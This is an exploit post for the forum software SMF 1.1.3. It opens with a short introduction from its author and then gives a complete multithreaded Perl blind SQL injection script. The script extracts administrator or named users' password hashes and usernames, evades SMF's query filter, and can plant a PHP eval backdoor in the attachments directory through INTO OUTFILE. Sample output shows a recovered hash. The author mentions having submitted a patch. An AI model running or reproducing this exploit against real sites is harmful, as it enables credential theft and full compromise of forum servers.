|
SMF is a very hardened php application. If anyone wants an example of some interesting PHP security SMF is a good place to look. Even after being able to injection SQL I had to take another step and bypass some difficult filters found in the db_query() function. Ultimately i was able to do so. =0D
=0D
This exploit is using blind sql injection. although you might not believe it on how fast it is. It can take less than 20 seconds to obtain a 40byte hash on a remote server! =0D
=0D
Be safe,=0D
Michael Brooks=0D
=0D
=0D
#!/usr/bin/perl=0D
=0D
#Written By Michael Brooks=0D
#contact: th3(dot)r00k(at)gmail(dot)com=0D
=0D
#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!=0D
# -Binary Search=0D
# -Multi-Threaded=0D
# -NO benchmark()'s=0D
#=0D
#Two SQL Injection flaws.=0D
#Works with magic_quotes_gpc=On or Off. =0D
#Total Bypass of SMF's SQL Injection filter.=0D
=0D
#I submitted a patch for these flaws:=0D
#http://www.simplemachines.org/community/index.php?topic=196380.0=0D
=0D
#I would like to thank RetroGod for being so skilled and willing to help me out. =0D
=0D
#**Warning** perl will somtimes seg fault when useing threads.=0D
#Tested Under Linux=0D
=0D
use LWP::UserAgent;=0D
use threads;=0D
use Thread::Semaphore;=0D
=0D
#global variables=0D
my $threads=1;=0D
my $semaphore = new Thread::Semaphore; =0D
my $globPos : shared=1;=0D
my $oper : shared;=0D
my @result : shared;=0D
my $target;=0D
my $cookie=false;=0D
=0D
$type="sleep";=0D
=0D
main();#execute main=0D
sub main{=0D
$n=$threads;=0D
$u=$p=$b=1;=0D
$start_time=time;=0D
$e=1;=0D
#Process arguments passed by the command line.=0D
for($v=0;$v<=$#ARGV;$v++){=0D
if(substr($ARGV[$v],0,1) eq '-'){=0D
$var=substr($ARGV[$v],1);=0D
$$var=$ARGV[$v+1];=0D
}=0D
}=0D
=0D
@t=split('\?',$t);=0D
@t=split('index.php',@t[0]);=0D
$target=@t[0];=0D
if(index($target,"/",length($target)-1)==-1){=0D
$target=$target.'/';=0D
}=0D
if($e!=1){=0D
print "\nExample:\n";=0D
print "\nbrooks@TheLab:~/code/exploits\$ ./smf_blind_sql.pl -p -u admin -t http://127.0.0.1/smf_1-1-3/index.php -n 4 -c SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%22091feddbd31bfa96932a5e4e6c34cb36f2686c1a%22%3Bi%3A2%3Bi%3A1378168836%3Bi%3A3%3Bi%3A1%3B%7D =0D
\n\nSMF Is Vulnerable!=0D
Finding Password Hash for the Name: 'admin'=0D
Please Standby...=0D
=0D
Password Hash:=0D
1d94709528bb1c83d08f3088d4043f4742891f4f=0D
This attack used 161 HTTP requests and took 8 seconds to complete.=0D
EOF\n\n";=0D
die();=0D
}=0D
$cookie=$c;=0D
$user=$u;=0D
if($n != 1){=0D
$threads=$n;=0D
}=0D
#Check to make sure the target is vulnerable=0D
if($b!=1||$p!=1){=0D
$vulnerable=1;=0D
#Yes I am assuming the default table prefix, its a shame you can't access information_schema.=0D
#No prefix is needed for the non-cookie attack becase I do not need a union select or sub-select!=0D
bin_finder(2,1,"1","smf_members","and 1!=1");=0D
if(int(@result[0])!=0){=0D
$vulnerable=0;=0D
}=0D
$globPos=1;=0D
bin_finder(2,1,"1","smf_members","and 1=1");=0D
if(int(@result[0])!=1){=0D
$vulnerable=0;=0D
}=0D
if($vulnerable==1){=0D
print "SMF Is Vulnerable!\n"=0D
}else{=0D
print "\nATTACK FAILED!\n\n";=0D
if($cookie){=0D
print "Try sending a private message to your self or SMF might be patched.\n"=0D
}else{=0D
print "The non-cookie attack requires MySQL 5 so try using the exploit with -c or SMF might be patched.\n"=0D
}=0D
die();=0D
}=0D
}=0D
=0D
$m=0;=0D
if($p!=1){=0D
if($user != 1){=0D
print "Finding Password Hash for the Name: '$user'\n Please Standby...\n"; =0D
for(my $x=0;$x<$threads;$x++){=0D
#@threads[$x]=new threads \&bin_finder,16,40,"(conv(SUBSTRING(passwd,%s,1),16,10))=%s", "smf_members"," and memberName = '".$user."'";=0D
@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and memberName =". hex_encode($user);=0D
}=0D
for(my $x=0;$x<$threads;$x++){=0D
@threads[$x]->join;=0D
}=0D
print "\nPassword Hash:\n";=0D
foreach $y (@result){=0D
print sprintf("%x",$y);=0D
}=0D
}else{#=0D
print "Finding An Administrative Credental.\n Please Standby...\n";=0D
#bin_finder(128 ,1,"count(memberName)","smf_members"," and ID_GROUP=1 ");#single thread=0D
#$admin_count=@result[0];=0D
#$globPos=1;=0D
#print "There are $admin_count admins on this forum.\n";=0D
#for($a=0;$a<$admin_count;$a++){=0D
for(my $x=0;$x<$threads;$x++){=0D
@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and ID_MEMBER=1 ";=0D
}=0D
for(my $x=0;$x<$threads;$x++){=0D
@threads[$x]->join;=0D
}=0D
print "\nPassword Hash:\n";=0D
foreach $y (@result){=0D
print sprintf("%x",$y);=0D
}=0D
$globPos=1;=0D
bin_finder(256,1,"char_length(memberName)","smf_members"," and ID_MEMBER=1 ");#single thread=0D
$name_len=@result[0];=0D
$globPos=1;=0D
=0D
for($x=0;$x<$threads;$x++){=0D
@threads[$x]=new threads \&bin_finder,128,$name_len,"ASCII(SUBSTRING(memberName,%s,1))", "smf_members"," and ID_MEMBER=1 ";=0D
}=0D
for($x=0;$x<$threads;$x++){=0D
@threads[$x]->join;=0D
}=0D
print "\nName:\n";=0D
for($l=0;$l<=$name_len;$l++){=0D
print sprintf("%c",@result[$l]);=0D
}=0D
print "\n";=0D
@result=null;=0D
$globPos=1;=0D
#}=0D
}=0D
}elsif($b!=1){=0D
if(!$cookie){=0D
die("\nA cookie is needed for this attack!\n");=0D
}=0D
print "Determining the exact path to place the backdoor. \n Please standby...\n";=0D
bin_finder(512,1,"char_length(value)","smf_settings"," and variable = 'attachmentUploadDir'");#single thread=0D
$length=@result[0];=0D
$globPos=1;=0D
for(my $x=0;$x<$threads;$x++){=0D
@threads[$x]=new threads \&bin_finder,128,$length,"ASCII(SUBSTRING(value,%s,1))", "smf_settings"," and variable = 'attachmentUploadDir'";=0D
}=0D
=0D
for(my $x=0;$x<$threads;$x++){=0D
@threads[$x]->join;=0D
}=0D
$path='';=0D
print "Path Disclosed:";=0D
foreach $y (@result){=0D
$path.=sprintf("%c" ,$y);=0D
}=0D
print $path."\n";=0D
#$path=~s/_/?/g;#This accounts for the search request being modfied by SMF.=0D
#$path=~s/%/*/g;=0D
$r=rand();#Random file name so the attack will succeed multiple times against the same target. =0D
my $ua = LWP::UserAgent->new;=0D
$ua->agent("Firebird");=0D
$ua->default_header("Cookie"=>$cookie);#Its tricky to get double quotes for the outfile statement.=0D
$load="\\,union select ".hex_encode("").' into outfile "","'.$path.'/'.$r.'.php",""#'; =0D
$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);=0D
$oper++;=0D
print "\nEval Backdoor:\n".$target."attachments/".$r.".php?e=phpinfo();\n"=0D
}else{=0D
$m=1;=0D
print "A Very Fast Blind Sql Injection Exploit for SMF 1.1.3.\n\n";=0D
print "-p obtain passwords (if used without -u, then an admin credential will be obtained)\n";=0D
print "-b installs a backdoor using 'into outfile'. (requires -c) **WARNING** SMF will log this as a single 'Hacking Attempt'!\n"; =0D
print "-t target\n";=0D
print "-c A valid cookie(Much faster attack)\n";=0D
print "\nAditional:\n";=0D
print "-u obtains the password for a user name\n";=0D
print "-n number of threads\n";=0D
print "-e Shows an Example.\n"=0D
print "The password hash is generated as:\n";=0D
print "sha1(strtolower($username) . $password);\n\n";=0D
=0D
}=0D
if($m!=1){=0D
$t=time-$start_time;=0D
print "\nThis attack used $oper HTTP requests and took $t seconds to complete.";=0D
print "\nEOF\n";=0D
}=0D
}=0D
=0D
#Takes complex input to build the request, returns a simple bool. =0D
sub bin_ask{=0D
my $if = shift;=0D
my $table=shift;=0D
my $where = shift;=0D
my $ua = shift;=0D
my $f=0;=0D
if(!$cookie){=0D
#no union select or sub-select needed for this attack!=0D
$a=time();=0D
#die($where);=0D
#$where="and realName = ".hex_encode("admin");=0D
$load="\"\\\",\" or (IF(".$if.",sleep(10),1) $where) limit 1,1 #\""; =0D
$load=~s/_/?/g;#This accounts for the search request being modfied by SMF.=0D
$load=~s/%/*/g;=0D
$tst= $ua->post($target."?action=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"relevance%7Cdesc","brd%5B1%5D"=>1,"submit"=>"Search"]);=0D
$page= $tst->content;=0D
#print "
page:".$page;die;=0D
$t= time();=0D
#print "\n 1:time\n".$t."\n\n";=0D
if($t-$a>=10){=0D
$f=1;=0D
}=0D
}else{#%sunion select bypasses SMF's filter so i can use a sub-select in the following query.=0D
$load="\\,union select ".hex_encode("1)) or (1!=\"'\") and (select (IF((".$if."),true,false)) from ".$table." where 1 ".$where.") or (1!=\"'\") and pmr.ID_MEMBER = 1#'").' # ';#sql comments still work in SMF =0D
$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);=0D
$page= $tst->content;=0D
#print $page; die ; =0D
if(index($page,"No Messages Found")==-1){=0D
$f=1;=0D
}=0D
}=0D
return $f;=0D
}=0D
=0D
#worker thread=0D
sub bin_finder{=0D
my $base=shift;=0D
my $length=shift;=0D
my $question=shift;=0D
my $table=shift;=0D
my $where=shift;=0D
#One UserAgent object is used per thread.=0D
my $ua = LWP::UserAgent->new;=0D
$ua->agent("Firebird");=0D
$ua->default_header("Cookie"=>$cookie);=0D
=0D
#binary search:=0D
while($globPos<=$length){=0D
$semaphore->down;=0D
$c=$globPos;=0D
$globPos++; =0D
$semaphore->up;=0D
my $n=$base-1;=0D
my $low=0;=0D
my $floor= $low;=0D
my $high=$n-1;=0D
my $pos= $low+(($high-low)/2);=0D
my $f=1;=0D
while($low<=$high&&$f){=0D
if(!$cookie){=0D
$great="GREATEST(".sprintf($question,$c).",".$pos.")!=".$pos;#bypass the filter for the < and > characters =0D
$less ="LEAST(".sprintf($question,$c).",".$pos.")!=".$pos;=0D
}else{=0D
$great=sprintf($question,$c).">".$pos;=0D
$less=sprintf($question,$c)."<".$pos; =0D
}=0D
if(bin_ask($great, $table,$where,$ua)){#asking the sql database if the current value is greater than $pos=0D
$oper++;=0D
if($pos==$n-1){#if this is true then the value must be the modulus. =0D
@result[$c-1]=$pos+1;=0D
#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";=0D
$f=0;=0D
}else{=0D
$low=$pos+1;=0D
}=0D
}elsif(bin_ask($less, $table,$where,$ua)){#asking the sql database if the current value is less than $pos=0D
$oper++;=0D
if($pos==$floor+1){#if this is true the value must be zero.=0D
@result[$c-1]=$pos-1;=0D
#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";=0D
$f=0;=0D
}else{=0D
$high=$pos-1;=0D
}=0D
}else{=0D
#both greater than and less then where asked, so thats two http requests. =0D
$oper++;=0D
$oper++;=0D
@result[$c-1]=$pos;=0D
#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";,,=0D
$f=0;=0D
}=0D
$pos=$low+(($high-$low)/2);=0D
}=0D
}=0D
}=0D
#hex_encode was ported from one of RetroGod's php exploits.=0D
#Thanks be to rGod for telling me about this encoding method on milw0rm's forum back when it was still up. =0D
#rGot you are leet! =0D
sub hex_encode{=0D
my $my_string=shift;=0D
my $encoded="0x";=0D
my $len=length($my_string);=0D
for ($k=0; $k<$len; $k++){=0D
$temp=sprintf("%X",ord(substr($my_string,$k,1)));=0D
if (length($temp)==1) {=0D
$temp="0".$temp;=0D
}=0D
$encoded.=$temp;=0D
}=0D
return $encoded;=0D
}